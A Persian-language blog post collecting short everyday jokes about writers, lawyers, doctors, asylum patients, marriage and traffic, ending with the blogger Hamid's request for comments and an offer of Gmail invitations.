ميزبان گفت: اصلاً مهم نيست. سگ اونا هر شب تا صبح
پارس ميكنه.


جوکهای بيمزه

روي ديوار خانه
نويسنده‏اي با
دوستش در شهر پاريس قدم مي‏زدند. روي ديوار يك خانه ديد نوشته شده كه «در اين محل فلان نويسنده در فلان سال به دنيا آمد و تا فلان سال زندگي كرد و با آثار درخشانش در جهان ادبيات درخشيد».
با ديدن اين جمله به دوستش گفت: تو فكر مي
كني اگر من بميرم روي ديوار خانه‏ام چه مينويسند؟
دوستش گفت: مي
نويسند اين خانه اجاره داده ميشود.

 

متهم
متهم را محاكمه مي
كردند. وكيل مدافع گفت: اين بيچاره پدري مهربان، مردي شريف، انساني وفادار و پاكدامن، شهروندي طرفدار از قانون و موجودي منضبط است...
در همين موقع متهم گفت: آقاي
وكيل! تو از من پول گرفتي داري از يكي ديگه دفاع مي‏كني؟

 

آخرين ملاقات
-
آخرين آرزوم
اينه كه اول پسرم رو ببينم، بعد منو اعدام كنين.
دادستان گفت: اشكالي نداره،
پسرت كجاست؟
-
من هنوز ازدواج نكردم
.

 

پالتو
اولي: چرا به مأمور لباس
هزار تومن انعام دادي؟
دومي: مگه نديدي، اون پالتو كه به من داد حداقل هشتاد
هزار تومن مي‏ارزه.

 

پيرزن
زن موهايش را كوتاه كرد
و وقتي به خانه آمد، به شوهرش گفت:
-
به من مي‏گفتي مثل پيرزن‏ها شدم، حالا
بهتره؟
مرد گفت: آره عزيزم! حالا شدي مثل پيرمردها
.

 

ماشين شيك
شمسي: عجب ماشين
شيكي خريدي، لابد شوهرت شغلش ‏رو عوض كرده!؟
قمر: نه، من
شوهرم رو عوض كردم.

 

گريم
اولي: قراره گريم كنم و
نقش يك ديوانة رواني رو بازي كنم.
دومي: حالا گريم چه ضرورتي
داره؟

 

قدرت تحمّل
وكيل يك تاجر
ثروتمند با لباس مشكي به خانه او رفت و به زنش گفت: خانم! شوهرتون امروز صبح فوت كردن.
زن جيغي كشيد و گريه
‏اي كرد و كمي بعد آرام‏تر شد.
وكيل گفت: ولي بايد بگم شوهرتون نمرده
.
زن گفت: پس چرا مي‏گين مرده؟

وكيل گفت: آخه اون ورشكست شده و همه چيزش رو از دست داده، از من خواست يه جوري
خبر رو به شما بدم كه بتونين تحمل كنين.

 

گلوله‏ ها
يك آمريكايي وارد اسلحه
‏فروشي شد و گفت:
-
لطفاً يك اسلحة كمري بدين
.
فروشنده پرسيد: با چند تا گلوله؟

آمريكايي تلفن
زد به بانك و پرسيد:
-
مي‏بخشيد، در بانك شما چند نفر كارمند و نگهبان
هستند؟

 

چه كسي را بيشتر دوست داريد؟
يك كشيش در فرانسه بچه‏ها را ديد كه بازي مي‏كردند. به آنها گفت: يه
سوال مي‏كنم اگر جواب خوبي دادين پنج فرانك بهتون مي‏دم. چه كسي رو بيشتر دوست دارين؟
اولي گفت: پدرم
.
دومي گفت: مادرم
.
سومي گفت: مسيح
.
كشيش به
پسر سوم گفت: آفرين پسرم، بيا اين سكه مال تو، اسمت چيه؟
پسر سوم گفت
: شمعون.


کلاس بالا

صد هزار دلار
در مسابقة
اسبدواني يك نفر صد هزار دلار روي اسب شمارة 28 شرط‏بندي كرد و اتفاقاً برندة 500 هزار دلار شد. مسئول برگزاري مسابقه از او پرسيد: چطور اين همه پول رو روي اسب شمارة‌ 28 شرط‏بندي كردي؟
گفت: ديشب خواب ديدم كه دائماً جلوي چشمم يك عدد 6 و
يك عدد 8 مي‏آد.
مسئول برگزاري پرسيد: 6 و 8 چه ربطي به 28 داره؟

گفت: مگه
شيش هشت تا 28 تا نمي‏شه؟

 

سالاد
در يك رستوران فرانسوي
يك سفيدپوست داشت سالاد ميخورد، يك سياه‏پوست آفريقايي وارد شد و سفارش جوجه داد و علاوه بر خود جوجه استخوان‏هايش را هم جويد. سفيدپوست با تمسخر به او گفت: در كشور شما سگها چه غذايي ميخورند؟
سياه‏پوست با خونسردي گفت: معمولاً
سالاد.

 

فقط تو
سال اول: عزيزم! در
تمام دنيا يكي به خوبي تو پيدا نميشه.
سال سوم: عزيزم! بين يك ميليون زن يكي
مثل تو پيدا نميشه.
سال پنجم: عزيزم! بين هزار تا زن يكي مثل تو پيدا نمي
شه.
سال هفتم: عزيزم! بين صد تا زن يكي مثل تو پيدا نمي‏شه
.
و داستان ادامه
دارد...

 

از صد سال قبل
ژنرال روس مشغول
بازديد از سربازخانه بود. از يك سرباز پرسيد: وضع غذاتون چطوره؟
سرباز گفت
: غذامون خوبه، ولي نون‏مون خيلي سفته، مثل سنگ مي‏مونه.
ژنرال گفت: يك سرباز
هرگز شكايت نمي‏كنه، سربازان روس كه صد سال پيش دشمنان كشور رو شكست دادن از همين نون‏ها ميخوردن.
سرباز گفت: درسته قربان! ولي اون موقع نون
ها هنوز تازه بود.

 

سكوت
دو نفر در طول مهماني
كنار هم نشسته بودند و در طول دو ساعت يك كلمه هم با هم حرف زدند. پس از دو ساعت يكي از آنها به ديگري گفت: پيشنهاد مي‏كنم حالا در مورد موضوع ديگري سكوت كنيم.

 

طرفدار
شاعري به دوستش گفت
: فكر ميكنم به زودي طرفدارانم دو برابر مي‏شن.
دوستش گفت: جداً قصد داري زن
بگيري؟

 

خلاء دردناك
منتقد ادبي از
نويسنده پرسيد: شما از اصطلاح خلاء دردناك زياد استفاده ميكنيد، مگه ممكنه چيزي هم خالي باشه هم درد كنه؟
نويسنده گفت: عجيبه! مگه شما تا حالا سردرد
نگرفتيد؟

 

آموزش زبان
توله
سگ از مدرسه برگشت، مادرش گفت: امروز درس چي داشتين؟
توله
‏سگ گفت: زبان خارجي.
مادرش گفت: چي ياد گرفتي؟

توله
‏سگ گفت: ميو، ميو.

 

موفقيت
پدر گفت: آره، پسرم
هفته پيش رفت، ولي فكر نمي‏كنم ديگه برگرده.
پرسيد: چرا؟ مگه چي شده؟

پدر
گفت: آخه گفت: تا موفق نشم برنمي‏گردم.

 

قاب
مرد گفت: من تابلوهاي
نقاشي بزرگ رو ترجيح ميدهم.
زن گفت: چه جالب! شما نقاش هستين؟

مرد گفت
: نه، من قاب ميسازم.

 

پدر بزرگ
پيرمرد گفت: پسرم
! حال پدربزرگت چطوره؟
پسر گفت: خيلي ممنون! حال پدربزرگ شما
چطوره؟

 

اجراي دقيق
بازيگر سينما به
كارگردان گفت: تو اين سكانس فيلمنامه نوشتيد كه من بايد برم توي دريا، در حالي كه من شنا بلد نيستم.
كارگردان گفت: بهتر، چون قراره توي همون سكانس غرق
بشي.

 

ادعا
اولي: مرتيكه احمق به من
ميگه الاغ، ميخوام ازش شكايت كنم.
دومي: اين كار رو نكن، چون ممكنه بتونه
ادعاي خودش رو ثابت كنه.

 

دزد بي دليل
قاضي گفت: واسه چي
كيف اين آقا رو زدي؟
دزد گفت: پس كيف كي رو مي‏زدم؟

قاضي گفت: تو اصلاً
نبايد كيف بزني.
دزد گفت: پس چي بزنم؟ هرچي بزنم شما ايراد
مي‏گيرين.

 

پانزده سال
زن فالگير گفت
: پونزده سال بدبختي ميكشي.
مرد گفت: بعدش زندگيم خوب مي‏شه؟

زن فالگير گفت
: نه، مي‏ميري.

 

رافائل
مرد ثروتمندي تابلوي
«مسيح و مريم» را در موزه نگاه مي‏كرد. گفت: چرا تصوير حضرت مريم رو با لباس‏هاي پاره و شبيه فقرا كشيدن؟
راهنما گفت: چون حضرت مريم زن فقيري بود
.
مرد
ثروتمند پرسيد: پس از كجا پول آورد به رافائل داد كه تابلوشو بكشه؟

 

 

داشت غرق ميشد  
يك قايق در حال حركت مردي رو در حال غرق شدن ديد. بهش
نزديك شد. كسي كه توي قايق بود پرسيد: تو داري غرق ميشي؟
مرد سرشو بلند كرد و
گفت: آره، چطور مگه؟

 

قارقار
در دوران جيره
‏بندي ارزاق كلاغ‏ها هر وقت كوپن صابون و پنير علام مي‏شد قارقار مي‏كردند.

 

سر و صدا
او رانندة بسيار
بي‏دقت و بي‏نظمي بود، وقتي ماشين را خريد از هيچ جاي ماشين صدا در نمي‏آمد، جز ضبط‏صوت آن. وقتي ماشن را فروخت همه جاي ماشين صدا مي‏داد جز ضبط‏صوت آن.


دکترها

دارو
دكتر گفت: حال سه نفر
بيماري كه ديشب براشون دارو تجويز كردم خوبه؟
پرستار گفت: نه دكتر؟ متأسفانه دو
نفرشون فوت كردند، امّا سوّمي هر كاري كرديم حاضر نشد دوايي رو كه تجويز كرديد بخوره.

 

نوع مرگ
وكيل مدافع به دوستش
كه دكتر بود رسيد و به شوخي بهش گفت: ببينم، بازهم مشتري‏هات رو به كشتن مي‏دي؟
دكتر گفت: آره، ولي نه بالاي دار
.

 

دامپزشكي
زن به دامپزشكي
مراجعه كرد و گفت: من اصلاً حالم خوب نيست.
دامپزشك گفت: شما اشتباهي اومدين
اينجا، اينجا دامپزشكيه!
زن گفت
: نه دكتر، درست اومدم، آخه من صبح‏ها كه بلند مي‏شم اخلاقم مثل سگه، ازصبح تا ظهر مثل خر كار مي‏كنم، ظهرها هم مثل گاو غذا مي‏خورم، بعد از ظهر مثل خرس مي‏خوابم، تازه شب كه شوهرم مي‏آد بهم مي‏گه سلام سوسك سياه.

 

سرفه
بيمار گفت: دكتر! اينقدر
گوشم سنگين شده كه صداي سرفة خودم رو هم نمي‏شنوم.
دكتر گفت: خب بلندتر سرفه
كن.

 

چشم پزشك
بيمار: دكترجون! پاي
راستم خيلي درد مي‏كنه.
دكتر: عزيزم، ولي من چشم پزشكم
.
بيمار: اينو
مي‏دونم، ولي دارين چشمم رو معاينه مي‏كنين پاتون روي پاي راستمه.

مداد
نجار با موتور داشت
مي‏رفت كه تصادف كرد و زخمي شد و گوشش كنده شد. يك جراح گوش را پيوند زد و پس از يكماه وقتي باندها را باز كردند و نجار به گوشش نگاه كرد، گفت: اين گوش مال من نيست.
جراح پرسيد: چطور؟

نجار گفت: مال من روش يه مداد
بود.

 

معاينه
مرد بسيار پرحرفي به
دكتر پوست مراجعه كرد، امّا اينقدر حرف مي‏زد كه به دكتر اجازه نمي‏داد معاينه‏اش كند. بالاخره دكتر گفت: آقا لطفاً زبونتون رو در بيارين.
بيمار زبانش رو
درآورد.
دكتر گفت: حالا در همين حال نگهش دارين تا من معاينه‏تون
كنم.

 

وظيفه
مريض: دكتر! دارم
مي‏ميرم. تو رو خدا بكش و راحتم كن.
دكتر: من خودم وظيفه
‏ام رو مي‏دونم، لازم به يادآوري نيست.

 

آلزايمر سخت
مردي پيش دكتر رفت
و گفت: دكترجون! خيلي فراموشكار شدم.
دكتر حواسش به حرف‏هاي بيمار نبود. سرش را
بالا كرد و گفت:
-
متوجه نشدم چي گفتيد؟

‏مرد گفت: من؟ من چيزي
نگفتم.


ديوونه ها

جوراب نخي
دكتر از ديوانه
پرسيد: تو رو براي چي به تيمارستان آوردند؟
ديوانه گفت: بدون هيچ دليلي، فقط به
خاطر اينكه من معتقدم جوراب نخي خيلي بهتر از جوراب نايلون هست.
دكتر گفت: اين
كه دليل نشد، منم معتقدم جوراب نخي بهتر از جوراب نايلون هست.
ديوانه گفت: چه
جالب! راستي شما جوراب نخي رو با سس سفيد مي‏خوريد يا با سس گوجه فرنگي؟

 

احساس
بيمار: دكتر! احساس
مي‏كنم ديوونه شدم. فكر مي‏كنم فرار كردم و يه عده دنبال من هستن و مي‏خوان منو بگيرن.
دكتر: از چه زماني اين احساس رو مي‏كني؟

بيمار: از زماني كه از
تيمارستان فرار كردم.

 

بچه 4 ساله
دكتر: چندتا بچه
داري؟
ديوانه: درست يادم نيست كه يه بچه چهار ساله دارم يا چهار تا بچة يه
ساله.

 

ناصرالدين ‏شاه
ديوانه سراغ رئيس تيمارستان اومد و بهش گفت: من مي‏ترسم، يه ديوونه
اومده اينجا به من مي‏گه ناصرالدين ‏شاه.
رئيس تيمارستان
گفت: اشكال نداره عزيزم، لابد فكر مي‏كنه ناصرالدين ‏شاه هستي.
ديوانه گفت: آخه اسمش ميرزارضا كرماني هست
.


وغيره

تصادف
زن راننده محكم كوبيد به
يك اتوبوس و پليس آمد و بعد از بررسي صحنه تصادف از زن پرسيد: شما اگه جلوتون اتوبوس نباشه چطوري ماشين رو نگه مي‏دارين؟

 

فرزند مرد مجرد
مأمور سرشماري
از مرد پرسيد: شما در فرم‏تون نوشتيد مجرد و داراي يك فرزند، به نظر مي‏رسه اشتباه كرديد.
مرد گفت: بله، درسته، اگر اشتباه نكرده بودم كه بچه‏دار
نمي‏شدم.

 

عمل عاقلانه
مردي كه كتك خورده
بود به افسر نگهبان گفت: اين آقا اوّل نيم ساعت به من فحش داد، بعداً شروع كرد به كتك زدن من.
افسر نگهبان از مردي كه كتك زده بود پرسيد: براي چي بعد از نيم
ساعت فحاشي كتكش زدي؟
مرد گفت: چون هر چي بهش فحش دادم ناراحت نمي‏شد، منم كتكش
زدم.

 

قهوه
من قهوه مي‏خورم اصلاً
نمي‏تونم بخوابم.
من برعكس توام، وقتي مي‏خوابم اصلاً نمي‏تونم قهوه
بخورم.

 

ترافيك
در وسط ترافيك شلوغ
تهران زني كه سوار آژانس بود به راننده گفت: خسته شدم، نمي‏شه تندتر بريم؟
راننده گفت: چرا، ولي بايد پياده شيم كه بتونيم تندتر
بريم.

 

ازدواج و طلاق
زن گفت: به نظر
من با استفاده از عقل مي‏شه جلوي بسياري از موارد طلاق رو گرفت.
مرد گفت: و
همچنين جلوي بسياري از ازدواج‏ها رو.

 

رژيم
-
براي لاغر شدن چه راهي
رو پيشنهاد مي‏كنيد؟
-
بايد يك ساعت بدويد
.
-
بعد از غذا يا قبل از غذا؟

-
هيچكدام، به جاي غذا
.

 

خونه
مرد دوستش رو تو خيابون ديد كه صورتش كبود شده و پاش مي‏لنگه و روي گلوش خراش افتاده. با نگراني بهش گفت: چي شده عزيزم؟ بيا زودتر برسونمت خونه.

مرد گفت: لازم نيست، تازه دارم از اونجا مي‏آم.

 

گلدون قديمي
خدمتكاري كه براي
تميز كردن خانه آمده بود يك گلدان قديمي چهارصد ساله را موقع تميز كردن به زمين انداخت و شكست. خانم خانه كه خيلي ناراحت شده بود، گفت: مي‏دوني اين گلدون مال چهارصد سال پيشه؟
خدمتكار گفت: خدا رو شكر! فكر كردم تازه
خريدينش.

 

رژيم
مرد شروع كرد به رژيم
گرفتن و لاغر شدن. زنش با خوشحالي به پسرشان گفت: پسرم، تا دو هفته ديگه پدرت يه مرد خوش ‏هيكله.
پسر گفت: يعني تو مي‏خواي از بابا جدا
بشي؟

 

 

+ نوشته شده در  ساعت 20:23  توسط حمید  | 

سلام دوستان نظر بدین  Gmail میدم

+ نوشته شده در  ساعت 19:16  توسط حمید  |